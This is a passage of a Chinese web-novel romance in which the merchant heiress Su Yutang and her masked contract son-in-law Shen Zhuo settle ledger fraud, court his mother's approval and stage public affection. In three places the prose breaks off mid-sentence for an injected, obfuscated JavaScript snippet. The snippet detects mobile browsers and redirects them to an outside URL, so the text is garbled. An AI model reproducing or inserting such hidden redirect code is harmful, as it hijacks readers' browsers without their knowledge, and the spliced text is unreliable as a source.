苏雨棠捧着茶盏暖手，默默听他坦白，待他说完，茶水已凉透。 门口，沈酌背对他们，耳朵竖起，吴掌柜倒也坦诚，没耍手段。 一个大老爷们哭成这样，他唏嘘不已，若换做是他，为养妻儿老小，会做违背良心的事吗？ 暗暗思量，沈酌攥起指骨，闭上眼，面露痛色。 尚无庇护妻儿之能，他本不配碰她，更不该有孩儿。 苏雨棠没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553024|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留意沈酌，她听得出吴掌柜的悔恨与坦诚，沈酌没出言提醒，想来与她的结论一致。 “好些账本已被二婶烧毁，我还得多谢吴掌柜将这些底本完好无损地送来呢，快起来。”苏雨棠虚虚抬一把对方小臂，待其挺直麻木的膝盖，才继续，“待沈郎君核实，若与吴掌柜所说金额无误，我绝不亏待吴掌柜。冤有头债有主，放心便是。” 得了这话，吴掌柜心口巨石才算卸下来，心头陡然一轻，他挤出一丝难看却真诚的笑:“往后小人定诚信做事，绝不再犯，不怕大小姐笑话，自从做了这些亏心事，我再也没睡过安稳觉了。” 苏雨棠噗嗤一声轻笑，终于给他一个有温度，有人情味的眼神:“回去吧，别让家里妻儿老小担心。” 用罢晚膳，苏雨棠将如意纹大包袱递给沈大娘，笑盈盈道:“大娘，快过年了，给您买了两身衣裳，您看看喜不喜欢？” “给我的？”沈大娘又是受宠若惊。 沈酌也惊讶，苏小姐为何突然送母亲新衣？ 她也为他置办了新衣，昨夜还说让他穿给她瞧。 沈酌心口莫名发热。 “棠棠救了我的命，又提拔阿酌，是我们沈家的恩人，我没好东西送给棠棠已是失礼，哪能要棠棠的东西。”沈大娘节俭，冬衣缝缝补补穿了好些年，已不太挡寒，但她没眼皮子浅，第一反应便是拒绝。 “本就是比照大娘身条买的，大娘若不收，放我这儿也浪费啊。”苏雨棠不由分说，将包袱塞到沈酌手中，递给他一个“不许拒绝”的眼神，又接着哄沈大娘，“棠棠就是和您投缘，再说，您在家中吃饱穿暖，才能免除沈郎君的后顾之忧，让他专心为我算账，大娘就当是帮我的忙，务必收下！” 她哄人时，嗓音甜润，模样又出挑，哄得沈大娘晕头转向。 待回神，已不好推拒，沈大娘红着脸，一味教导沈酌多用心替她办事。 苏雨棠朝外望一眼，语气轻快，透着欢喜与期待:“时辰不早，三郎还在家里等我，我先回去了，大娘和沈郎君路上慢些，注意安全！” 冲他们摆摆手，苏雨棠又吩咐玉簪替他们找来一辆驴车，出门前，回眸一笑，灿若春华。 沈大娘本还想提醒沈酌，好好做事，但切记与苏小姐保持距离，少在小姐跟前晃，可这会子看着苏雨棠欢欢喜喜回去寻赘婿，一个多余的眼神都没给儿子，显然没瞧上，她心里又有些不是滋味。 苏小姐意有所指，还有回眸时的眼神暗示，沈酌心如明镜，是要他今夜还过去。 一瞬间，贪念如流星，自他清寂的身体内划过，沈酌微微失神。 察觉到母亲的视线，沈酌猛然回神，面色如常:“母亲，走吧。” 沈大娘沉浸在自己的情绪里，没看出儿子的异样。 坐上驴车，沈大娘忽而忍不住感慨:“那詹家三郎怎么就这么好命呢。” “什么？”沈酌一时没听懂。 “没事。”沈大娘摇摇头，倚靠车壁，瘦削的手摸索着包袱上的如意纹。 人啊，哪有事事如意的，苏小姐人是好，可人家是招赘，即便看上的是阿酌，难道她忍心让儿子入赘？夫君会恨她的，阿酌那性子，也不可能答应。 况且，人苏小姐压根儿没瞧上阿酌。 沈大娘抬眸，借着窗外微光打量儿子，做娘的觉得儿子最俊，但也明白人外有人。 她得承认，儿子肯定没那詹家三郎生得俊。 “棉袄我母亲试过了，很合身，她很喜欢，多谢苏小姐。”沈酌立在床边，恭敬拜谢。 都是夫妻了，私底下，他竟还这副一本正经的模样，苏雨棠瞧着好笑。 她移开通发的银背桃木梳，抓起沈酌的手，塞到他手里，立起腰肢，跪坐床边，双臂环住他脖颈。 寝衣又软又滑，挽在她臂弯，自他肩头垂下。 隔着衣料，她也能清晰感受到郎君身体战栗。 “大娘喜欢，那三郎高不高兴？”苏雨棠唇瓣凑近他耳朵，脸颊与他相贴，感受到他肌肤发烫的热度，轻道，“我那是孝敬婆母呢。” 16. 16 婆母。 她称母亲为婆母。 寻常人家成亲第二日，新娘子拜见舅姑时，通常会孝敬些两双鞋袜，苏小姐偏偏在今日送母亲新衣，是循此礼吗？ “苏小姐，我只是个赘婿，你何须如此多礼？” 她的气息离他实在近，近到让人很难心如止水。 沈酌别开脸，没敢瞧她，嗓音微哑。 “我乐意。”苏雨棠松开缠在他颈后的手。 腾出一只来，指尖调弦似地不经意拨过他侧颈暴跳的淡青经络，捏住他轮廓优越的下颌，稍稍使力一带。 男子听话地扭回来，与她对视。 “三郎令我满意，该有的礼数，我都不会短你，契约里写着呢。”苏雨棠细颈扬起，目光落在他略干的薄唇，没有凑近，却令沈酌的心几乎从嘴里跳出来，“三郎还记得旁的约定吗？需不需要我拿给你瞧？” 苏雨棠说了好几句，可从听到第一句起，沈酌脑仁便嗡嗡作响，他宛如一只烧沸水的壶，七窍都冒着热气。 后头的话，再钻不进他耳朵。 苏小姐说，他令她满意。 她光明磊落地勾诱他，夸赞他。 没有一个男人，面对心仪的女子这般主动，还能无动于衷吧？ 经过昨夜，他知他也是凡夫俗子。 是，他心悦她，纵然无数次告诉自己不能，不该，可心意不由他掌控。 豆大的汗滴自他额角滚下，打湿发鬓，沈酌闭上眼，刻意去想雅间里痛哭流涕的吴掌柜。 “苏小姐，我家境贫寒，一介布衣，并无守护妻儿的能力，我不能一错再错。”沈酌克制着情绪，艰难吐出这一句。 遇到苏小姐之前，他从未因家境贫寒自卑，可一旦明白对她的贪念，这种自卑便疯狂滋长。 表露出来，是否会被她看不起？沈酌暗暗咬住唇内的肉，有些懊悔。 若非他生得俊，打出黑眼圈不好看，苏雨棠真想给他一拳。 她只是想与他生几个孩子，碍于他将来的身份，才哄着他，摆出她没有勉强他的姿态，他竟钻起牛角尖，想这些没用的。 她是与他做正经夫妻，是想与他白头偕老么？ 不是啊！ 可惜这个死脑筋，似乎还没明白。 苏雨棠很想骂他两句，可想到他未来的杀伤力和用处，还是收敛了脾气。 “现在没有，将来也没有么？三郎读书是为了什么？就不能为了我和孩儿去考进士、挣功名？”苏雨棠纤手落下来，圈住他腰身，脸颊贴在他肩头，光洁的额轻抵他侧脸，“虽然我不是三郎的妻，将来的孩儿也是我一人的，三郎不必为我们挣功名，可我就是相信自己的眼光，我的三郎绝非池中之物，不会一直困顿，终有一日能扶摇直上。” “三郎，如今不是我跟着你过日子，是我挑中你，让你来跟我过日子，好坏由我不由你，你当知道，我不是肯受委屈的性子。我若嫌弃你的出身，那契约早就去找旁人签了。” 找旁人？与旁人做那些亲密事？想到这种可能，沈酌眸底便腾起一蓬暗红。 这些年，随母亲上街时，他的目光从不在他们支付不起的东西上多流连。 而此刻，沈酌握住女子柔软腰肢，坚定收紧，他第一次忍不住抓紧不该她肖想的存在。 苏雨棠也不知哪句话将人哄好的。 甚至不知，算是哄好，还是刺激到他。 起初他比昨夜霸道，将她双手扣紧狠狠压在枕上，后来又吻着她指背赔罪，喂她喝水，替她梳理揉乱的青丝，温柔体贴至极。 迷迷糊糊听到他起身穿衣的细微动静，苏雨棠没睁眼，也没挽留。 自然搭在腹部的手，极轻地动了动，她会拥有自己的骨肉吗？ “小姐，派去盯着贾娘子的人已来回话。”玉簪说着，将发簪插好，手掌附在苏雨棠耳畔，压低声音禀，“贾娘子与她表兄昨夜成了。” 犹豫一瞬，又忍不住将自己知道的，多补充几句，她在心里憋好一阵了，但这是秘密，暂时只能向小姐倾诉。 说的时候，玉簪两眼放光，跟拿到赏钱时一样精神：“她那位表兄啊，还是个捕快，早已成亲，孩子都生五六个了，贾娘子可真不挑嘴。” 这消息确实醒神，苏雨棠立马不困了。 “她哪是不挑嘴，她是图那位能生。”苏雨棠低低失笑。 成了好啊，她倒要看看，现世里，庄锦才依旧那么幸运能当爹，还是当个大王八。 苏、庄两家毕竟还没断了来往，孩子满月酒她去凑个热闹，应当没毛病？ 听她一说，玉簪顿时回过味来：“原来如此！奴婢懂了，还是小姐聪明！” “就你嘴甜！待会儿自己去领二两银子赏钱，给那盯梢的也再拿半吊钱买酒吃。”苏雨棠用人很舍得花银钱，毕竟都不是傻子，银钱不给够，指望谁用心替她办事？ “庄家那边如何？”苏雨棠侧首望她，特意问。 “这个奴婢亲自去打听的！”玉簪一脸兴奋，“庄公子出来后，庄家人都很高兴，贾娘子冒领功劳，说是她求的郡主放人，庄家人应当是信了，庄太太还松口请她进府喝茶，有小半个时辰才出来。听说，贾娘子走的时候，脸上是带着笑的。” 贾淑慧是个有本事的，看来她嫁入庄家指日可待。 “很好，我很满意。”苏雨棠含笑与玉簪对视，两人齐齐笑出声。 刚下轿，便瞧见一道熟悉的身影站在门外，身上穿着她昨日亲自买的厚夹袄。 来人侧脸都冻红了，身子弓着，怀里鼓鼓的，像是抱着什么东西。 “沈大娘，您来找我么？怎么不进去？”苏雨棠快步上前。 看到她的一瞬间，沈大娘眼神亮起来：“棠棠！” “用早膳了么？我给你带了肉包子，早上做的，新鲜着呢。”沈大娘献宝似的，从怀里取出一只不小的包袱。 天冷，她早起发面，费了好一番功夫。 苏小姐不缺银子，什么好东西没吃过？沈大娘没将就，大清早去肉铺挑的一块肥瘦相间的好肉，逢年过节她都没舍得买这样好的位置。 两年没做过了，手有些生，但她拿给阿酌尝了一个，阿酌说好吃，她觉得应当能拿出手。 关键是她也拿不出更好的东西回报苏小姐，暂时只能如此。 想送去苏家，又怕连累苏小姐被苏家其他人笑话，便来了铺子。 她不确定苏小姐今日来不来，阿酌也不在，铺子里的帮工见过她，还认得她，请她进去，她不好意思进去打扰。 这些话，沈大娘一句也没说。 可苏雨棠在梦里，经历过好几年察言观色的日子，从沈大娘被寒风吹红的脸、期待又有几分馋的眼神，她便猜到七七八八。 “大娘也太用心了，今日竟就做好送来。”苏雨棠一手接过包袱，一手扶住她手臂，“大娘身子还没好全，又吹了冷风，快进屋喝杯姜茶暖暖。” 隔着包袱，也能感受到包子的温度，还是热的。 进到雅间，亲手将姜茶捧给沈大娘，苏雨棠开始拆包袱。 “醒来时胃口不好，用的不多，这会子还真饿了，沈大娘亲手包的，我可要好好尝尝。”苏雨棠笑盈盈与她叙话，也是此刻，她无意中看到沈大娘手背侧皴裂的纹路。 动作顿了顿，又继续拆第三层。 怕包子被吹凉，沈大娘包了好几层。 最里层是油纸，油纸里足有八九个白胖胖的包子，不大，但都是白面做的，透出肉汁的色泽，浓郁的香气散开。 连玉簪也嘴馋地凑近：“大娘送这么多，小姐吃不完，能不能分奴婢一个尝尝？” “确实吃不完。”苏雨棠先拿出一个给沈大娘，这才笑着横一眼玉簪，往她手里塞一个，“你沈大娘手皴得要破皮，赶紧吃，吃完去隔壁买两瓶护手的香膏来，还有涂脸的，也拿两盒。” “不用，我都这岁数了，用了也是糟蹋，棠棠别破费。”沈大娘要起身阻拦。 被苏雨棠不由分说按坐回去：“我就是找个理由让她跑跑腿，难不成让她白吃大娘做的包子？” 她说这话时，玉簪已咬着包子跑到门帘侧，回眸笑道：“好吃！” 苏雨棠咬开松软的白面皮，肉汁的香气在她唇齿间漫开，她杏眼睁圆，亮晶晶的，连连点头，含混道：“真好吃。” 比府里做的好吃，甚至比她在包子铺里买的也强些，很鲜。 沈大娘神情欣慰，眼角眉梢都是笑意。 可她手里的包子迟迟未动。 “大娘也吃啊，好东西一起吃才香。”苏雨棠停下来，盯着她。 仿佛沈大娘不吃，她也不吃了。 沈大娘无奈，慢慢抬起手，递到唇边时，似乎还舍不得下嘴：“我哪该吃这么好的东西。” 她声音很轻，不是自嘲，是真觉得自己不该吃好的。 苏雨棠听着，心口发紧发酸，她想到梦里的自己，什么好东西都舍得给庄锦才，到用在自己身上，却总会犹豫。 她凭什么不能用好东西呢？往后，她的好东西都先紧着自己和待她好的人，待她不好的才不配。 “贡品橘红大娘都吃得，还有什么吃不得？”苏雨棠笑望着她，温声宽慰，“大娘且安心养好身体，我会看相，我瞧沈郎君将来能当大官，您的福气还在后头呢！” 这正是她期盼多年的，也是她活下去最大的动力，棠棠说到她心坎上了，虽知是哄人的话，沈大娘依然动容，眼中浮动泪光：“好，我好好养身体，等着阿酌当官让我享清福。” 吃完包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555626|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，沈大娘动手收拾，一点儿不让苏雨棠和玉簪沾手：“我习惯了，闲不住。” “说起来不怕棠棠笑话，包子做好了，我才想起家里没有合适的东西包，正好邻居讨百家米，来我家窜门，我顺嘴一问，拿米换的几张油纸。”沈大娘聊起家常，说完讪讪一笑，“大娘是不是嘴太碎了？” “才不会。”苏雨棠以手支颐，抬眸望她，一派天真问，“大娘，百家米是什么？” 小姑娘关心起这个，沈大娘想笑，唇角弯起，才意识到，棠棠不是不谙世事的小姑娘，人家跟赘婿蜜里调油呢。 “求子用的。”沈大娘干脆坐下来，挨着她，小声解释，“那家想生男娃，便去有男娃的人家各讨一把米，积攒起来，煮给家里妇人吃。听说很灵验，跟庙里的菩萨一样灵验。” “不过，棠棠有福气，肯定很快怀上男娃，倒用不着这个。” 用得着啊，她太用得着了！ “真的灵验？！”苏雨棠抓住沈大娘的手，眼神期待，“大娘身边的街坊邻居，可有家中多女娃的？大娘可否帮我去各讨一把米？我拿布换！” 略思忖，她激动道：“每家三尺棉布够不够？” “够的，够的！”沈大娘惊诧不已。 用这方法求子的人家，她见过不少，还是头一回见求女娃的。 不过，能帮到棠棠的忙，她手里的香膏也就不那么烫手了。 她依然觉着自己配不上这么好的香膏，但想想棠棠的话，到底没拂她的好意。 心念一起，苏雨棠越想越急切，不仅拜托了沈大娘，还在名下几间铺子宣扬开。 家中有女儿的，可拿一小把白米，到苏记布庄换两尺印花棉布，家中多女儿的，能换三尺！ 消息一出，苏记布庄的门槛都快被踏破了。 多数百姓家都有女儿，一小把米不值多少钱，少说也能换两尺布，虽说不够做衣裳，可再毕竟算是白得的，再添些便能裁新衣。 恰逢年关，谁家不想穿新衣？条件差些的，省着些裁，能给孩子做一身，条件好些的，舍得添银钱，一家人都有了。 送出去的皆是花色不时兴的料子，可顾客进门后，眼睛总闲不住。 几日下来，苏雨棠不仅没亏，生意倒比往年涨了几成，苏记的名气也越来越大。 夜里，沈酌抹黑坐起身，准备如往常一样悄然离开。 哪知，双脚刚着地，鞋还没穿好，腰身便被女子软腻的手臂缠住。 “不许走。”苏雨棠抵在他背心，闷声令，“明日不是不用再去书院么？三郎，我要你陪着我，搂着我。” 沈酌脊背一僵，心口却发烫。 好不容易冷却下来的身子，也重新感受到野火流窜。 “若明早母亲发现我不在，恐会节外生枝。”沈酌语调低沉。 嘴上拒绝，只有他自己知道，心里已瞬间想好对策。 若遵从本心，他想留下，毋庸置疑。 “夫子不是夸你学问好么？若发现，你便想法子蒙骗过去。”苏雨棠抱着他腰身不撒手，甚至收紧些，语气娇纵，“我不管，就是不许你走。” 沈酌无法，他已习惯栽到她手里。 黑暗的床笫间，幽香弥散，苏雨棠伏在他胸膛，听到他清晰的喘，指尖游移在他咚咚的心跳之侧，字字清晰要求：“你久不出现在人前可不成，我阿娘会不放心。明日起，你便戴着面具出现，要想尽法子待我好，让所有人看到我的三郎有多爱惜我，可记住了？” 她挽留他，究竟是因为不舍，还是需要他配合演戏？ 后者亦是他的本分，可沈酌心里有些空落落的。 他想要的，已不止是遵守约定，公事公办。 沈酌第一次单独陪苏雨棠用早膳，身边没留人伺候。 桌上摆着四样吃食，量不算多，但色香味俱全，足够两人吃饱。 只苏雨棠手边摆着一小碗青蔬肉丝粥，沈酌这里是鸡汤水晶饺。 女子拿汤匙咬起一小口，吹了吹，小心往嘴里送。 那吃相，称得上郑重。 蓦地，沈酌心念一动，想起昨日在铺子里听到的。 “这粥……可有什么讲究？”沈酌迟疑问。 问完，又觉不合适，脸颊微烫，夹起一只水晶饺。 苏雨棠倒不在意，吹了吹新舀起的白米肉粥：“嗯，是有些讲究，这是我特意求来的百家米煮的粥，求女用的。” 至少半个京城都知道，也没什么好瞒他的。 生男生女都是她的，不必与他商量。 “我也不能只在你身上使力，得多花些心思，让菩萨听到我的心愿。”她随口一说，将熬化的粥送进唇齿。 沈酌清俊的脸却瞬间红成煮熟的虾，侧过身，咳得不能自已。 17. 17 用罢早膳，苏雨棠在廊庑下来回走动消食，等沈酌更衣。 衣袍是她前两日就选好的，因事耽搁，到今日还没见到他穿上身。 都是好料子，他穿上定然好看，可她拿给沈酌时，他竟还不肯换。 “你若不换，成日里穿着旧布衣，旁人从衣服上也早晚将你认出来，岂不白费我一番苦心？”苏雨棠佯装生气，他才乖乖回内室更换。 约莫一盏茶的功夫过去，还不见人出来，苏雨棠秀眉微颦。 停下脚步，叩叩窗棂。 “三郎，还没好么？”她催促。 “好了。”里头传来熟悉的声音。 听到里头的脚步声，苏雨棠一脸期待，举步朝门口走。 她脚步很快，沈酌腿长，她刚走到门口，尚未站定，门扇便从里打开。 看到他的那一刹，苏雨棠眼中便迸射出惊艳的光彩。 宝蓝色广袖圆领袍，像是量体而裁，绣如意云纹的绀青腰封，勾勒出他窄而挺拔的腰身，墨发高高绾起，以竹节青玉簪固定，即便戴着面具，依旧掩饰不住松姿鹤骨。 “不合适吗？”沈酌很庆幸，自己戴着面具，便不会被她看出窘迫。 穿上不符合身份的衣袍，像是戴着无形的枷锁，令他心头有些沉重，全身都不自在。 可是，他瞧得分明，她喜欢。 沈酌握在门扇处的手下意识收紧，他一个男子，竟在以色侍人。 “不愧是我，果然眼光独到。”苏雨棠上下打量他好几遍，神色间满是欣赏与自得。 浑然不顾丫鬟们的目光，她一把抓住沈酌的手：“走吧，随我去给阿娘请安，正好让她也瞧瞧。” 面具后，沈酌闭上眼，认命应：“好。” “这位是？”温氏认得面具，可她不敢冒认这个人。 戴着面具，也如琼林玉树，器宇轩昂，这能是她女儿新招的赘婿？ “才两日不见，阿娘就认不出三郎了？”苏雨棠笑盈盈坐到温氏身侧，望着沈酌，与有荣焉，“阿娘，我就说我挑夫婿的眼光不差吧？” “可不是？比我和你爹好太多。”温氏感慨。 很快意识到，在女婿面前拿他和庄家的比较，不太合适，便随口说起今日的安排。 “我和你舅母准备去寺里上香，你们去不去？” 苏雨棠摇摇头，年前还要忙几日，她暂时没那心思。 “阿娘和舅母好好游玩，我和三郎还有事，改日再陪阿娘。” 从院里出来，迎面遇到温舅母和两位表哥，又收获一番惊叹。 二表哥甚至跑到苏雨棠身边，嬉皮笑脸道：“娘总夸表妹眼光好，我今日算是心服口服，表妹明日可得空？也替我挑几身行头好不好？把二哥打扮得俊些，好给你骗个好二嫂！” 苏雨棠唇瓣微动，刚要说话，哪知被沈酌抢了先。 他语气有些冷淡：“娘子明日另有安排，恐怕帮不上二表哥，告辞。” 没等苏雨棠反应，已被他扣住手指，拉着走出好几步。 “诶？他一个赘婿……”二表哥的声音从身后传来。 苏雨棠回头看时，正好看到舅母在扯二哥衣袖，还忍笑冲她挤眼。 “三郎，你怎么被夸了还不高兴？”苏雨棠望着碍事的面具，疑惑问。 “没有，我只是想到没核算完的账本，不想耽搁。”沈酌语气恢复如常。 这下苏雨棠更困惑，莫非是她的感觉出了差错？ 走出垂花门，苏雨棠没心思再猜，她抿抿唇，忽而抓住沈酌手臂，轻轻摇了摇：“三郎，我腿酸。” 什么？沈酌心头一颤，这话是能在外头说的吗？ 多俊的郎君，却不解风情，像个呆头鹅。 苏雨棠也不指望他能猜到她的用意，主动环住他脖颈，往下压压，轻声吩咐：“抱我。” 直到这一刻，沈酌才醍醐灌顶，正如她昨夜吩咐的，她要他在人前百般疼惜她。 “怎么，穿上衣服就不听话了？”苏雨棠知他脸皮薄，故意激将。 果然，话音刚落，便觉膝弯一紧，整个人横在他身前，被他稳稳抱起。 夜里试过她便知道，他只是看起来清瘦，实则健壮有力。 此刻抱着她迈过门槛，身形依旧挺拔，步伐一点儿没乱。 门口停着马车，王叔手持缰绳，闻声朝这边望。 同样望来的，还有路过的无数道目光。 大家脚步都放缓，连沈酌也是。 不是因为怀中女子重，而是那些瞩目，令他脸颊发烫，有些无地自容。 “把我抱进马车。”苏雨棠继续吩咐。 她声音压得低，旁人听不见，只看到男子怜惜地抱着她往台阶下走。 所有看到这一幕的人，都惊得呆住。 苏雨棠却暗自腹诽，什么探花郎，徒有虚名，笨得很，连疼宠姑娘都不会，还要她掰着嘴教。 罢了，谁让他长得好看呢。 男人躬身，将怀中女子塞进车厢，他身姿清绝，仪态端雅，宛如高门大户滋养出的贵公子。 若非他脸上戴着狐狸面具，谁还能瞧出他是那个无父无母的穷苦扫把星？！ 真是人靠衣装马靠鞍。 不消说，他这身好行头定是苏小姐给置办的，士别三日，穷小子彻底改头换面。 “苏小姐路都走不动了，看来这赘婿有些本事。”两位同行的中年妇人，挎着菜篮子，掩袖笑着咬耳朵。 “谁叫人家会赚钱呢，我要有钱，我比她吃得还好。” “你？你还是老老实实回去啃腊肉吧。” “还笑话我，你家那口子，难道你看着不嫌弃？” “凑活过呗！算了，别看了，再看真过不下去了。” 沈酌也钻进车厢，车帘垂下，车内光线稍稍暗下来些。 苏雨棠一把摘下他面具，倾身打量他。 捕捉到他俊脸上的惊诧，苏雨棠把玩着面具，低低失笑：“一回生，二回熟，慢慢就习惯了。” “真好看。”苏雨棠忍不住抬手，轻抚他侧脸。 其实想亲一下，探出一点点舌尖润了润唇，又忍住，还是容他缓缓吧。 但她目光流连在他脸上，像欣赏一株花，或是一幅画。 沈酌看到了那一点点舌尖，粉嫩柔软，夜里也无数次品尝过她的甜。 想象令他口干舌燥。 他移开视线，望着晃动的车帏，声音低哑：“苏小姐，我是男子。” “你是不是男子，我还不知道么？”苏雨棠噗嗤笑出声。 她松开手，指腹游移在面具的轮廓：“你既答应做我的赘婿，那么，待我好，怜惜我，取悦我，便都是你的本分。” “我做到了我承诺的一切。”苏雨棠忽而抬眸，浅笑着凝视他，“可是三郎，你呢？若总等我教你，我也不知这张脸能让我新鲜多久呢。” 即便他将来会做宰相，那也是将来。 如今他享受着她给的好处，当着她的赘婿，便该学会哄她开心，她才不会一味惯着。 蓦地，沈酌感受到一种空前的危机感。 他确实做的不好，不懂女子的心思，但他以为，既做了夫妻，她至少会依照三年之约。 他以为，他们至少有足足三年不离不弃的时光。 因她的话，才猛然想起，那契约有条件的。 若他不能令她满意，她随时可以终结他们的关系。 沈酌唇瓣翕动，想说什么，又觉苍白，哽在喉间的那些话，连他自己都未必信服。 他抿抿唇，忽而倾身，越过车厢内另一半的空间阻隔，攫住她刚吐出狠话的无情的唇。 下车时，苏雨棠唇上口脂已不见，色泽却分外红润。 没等她开口，沈酌已跳下马车，立在车帘外，修长的手臂朝她伸来。 哟，学乖了。 他不是不愿疼惜她，只是还不太适应，但为了与她天长地久，心里的那点羞耻算什么？ 众目睽睽之下，再将她抱在怀中时，沈酌已不似在府门外那般紧张了。 “很好，这回我很满意。”从他怀里下地时，苏雨棠轻声安抚。 苏记布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557860|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄外，进进出出、路过的人更多。 二人相亲相爱的举动，引起不小的骚动。 “小两口感情这样好，如胶似漆的，只怕苏小姐很快就会如愿了吧？”有人笑道。 “如什么愿？”有看客挠着脑袋问。 那人瞥他一眼，吃惊不小：“苏小姐想生女娃呀，你不会连这都不知道吧？” 众人的嘀咕声，苏雨棠过耳不过心。 “我要忙了，没空陪你，三郎自去旁处逛逛吧。”苏雨棠故意当着外人的面，将他支开。 俩人恩爱的传言，像初春冷热空气的剧烈对流，到傍晚时分，已酝酿成一场声势不小的风暴。 许多人暗暗羡慕，也有不少人嘴里酸话连连。 街头巷尾都传遍了，苏小姐待她那位赘婿极好，一应穿戴都换上好的，把个克死父母的扫把星穷小子，生生打扮成身姿清绝的贵公子。 那赘婿是个骨头软的，惯会讨女人欢心，就连苏小姐上下马车都主动抱着，伺候得尽心尽力。 “我要是生出这么个没出息的儿子，趁早打死，免得败坏门风，贻笑大方！” “他父母若是泉下有知，只怕棺材板都压不住咯。” 也有那泼辣的，端着簸箕，叉腰嘲讽：“就你儿子那长相，送上门，人家也看不上啊，想贻笑大方，也得有那命啊！也不拿镜子照照，你们哪个在家不用伺候男人，要是你家男人反过来讨你欢心，你不乐意啊？人家两口子，一个愿意花钱，一个知恩图报，碍着你们什么事儿？” 她嘴皮子厉害，没人敢呛她，当即四散归家做饭去。 却说沈酌，回到马车，假意溜了一圈，不多时，便回到布庄前。 见他摘下面具，换上旧布衣出现，苏雨棠忍笑招呼：“沈郎君来了？账本核算得如何？” 两人聊了几句账本的事，铺子里的帮工、顾客却在眉飞色舞、小声议论她和詹三郎。 苏雨棠唇角笑意险些压不住，抬眸瞥一眼沈酌，不由暗自佩服。 在外人面前，他的定力倒是好得出奇。 犹豫了一两日，胡掌柜也悄悄拿着账本来坦白。 不知是与吴掌柜通过气，还是自己想通的，虽来的晚些，倒也老实。 能做假账本，还连续三年把阿娘糊弄过去，他们也有些本事，只要知错能改，苏雨棠不介意接着用。 “还有钱掌柜的账本没交。”沈酌将今日对好的账，说给苏雨棠听。 “嗯，先由着他。”苏雨棠翻看着沈酌核算的数目，点点头，“不错，清楚细致。” “时辰不早，你回去照顾沈大娘吧，明日再接着算。”苏雨棠合上账本，交还给他。 站起身，取下棉氅，她又回眸冲他眨眨眼，这下掀帘出门。 沐洗过后，回到内室，果然见沈酌坐在床边，手里捧着书在看。 走近些，苏雨棠才看出，是账本。 她挑挑眉，腰肢一扭，坐到他腿上。 “这么用心？”苏雨棠额头抵在他颈窝，与他一起看。 闻到佳人发间、身上熟悉的馨香，沈酌看不下去了。 且他深知，她叫他来的用意。 沈酌收起账本，放到小几上，揽住她腰肢，轻易将人抱起，放到枕上。 佳人松鬓如蝉，仙容似雪，肌肤香腻，眸似春水。 怜惜她，如吃饭喝水一样自然，只要他不刻意自苦。 沈酌没再克制自己。 他顺从心意，甚至干出自己意想不到的事。 在她情不能自已时，抱紧她，薄唇贴着她耳珠轻念情诗。 不是书上得来，而是有感而发。 苦读诗书时，他从未想过有这样一刻。 苏雨棠喜欢他的转变，也爱听。 昏暗绣帐间，她眼波流转，在他心口戳了一下：“去写下来。” 那样露骨的情诗，如何能写？ 沈酌咬咬唇，到底没拂她的意：“好，我去写。” 可等他研墨、写好，收拾好心绪，拿进来给她瞧，佳人却已拥被睡熟，呼吸清浅悠长。